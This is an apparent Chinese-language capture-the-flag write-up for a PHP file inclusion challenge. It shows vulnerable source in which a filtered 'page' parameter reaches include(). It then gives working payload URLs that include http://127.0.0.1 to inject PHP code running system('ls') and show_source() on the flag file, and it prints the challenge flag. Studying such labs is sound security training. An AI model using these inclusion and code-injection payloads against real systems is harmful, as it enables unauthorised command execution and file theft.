Web_php_include
首先来了解一下文件包含:
文件包含是开发语言自带的一个功能,程序员为了方便,或者是设计需求需要,写了一些文件包含进去,当文件包含的代码文件被写成了一个变量,且这个变量可以由前端传进来,则可能引发文件包含漏洞,分为本地包含和远程包含,可被攻击者利用搜集敏感信息
可以去参考pikachu靶场的文件包含漏洞的详解:File Inclusion
来查看一下源码
<?php
show_source(__FILE__);
echo $_GET[‘hello‘];
$page=$_GET[‘page‘];
while (strstr($page, "php://")) {
$page=str_replace("php://", "", $page);
}
include($page);
?>
这里面定义了一个变量page,通过包含函数include(),可以通过它传递页面,再通过hello参数执行一些命令
http://220.249.52.133:49386/?page=http://127.0.0.1/index.php/?hello=<?system("ls");?>
//可知fl4gisisish3r3.php页面存在
http://220.249.52.133:49386/?page=http://127.0.0.1/index.php/?hello=<?show_source("fl4gisisish3r3.php");?>
得到flag为:ctf{876a5fca-96c6-4cbd-9075-46f0c89475d2}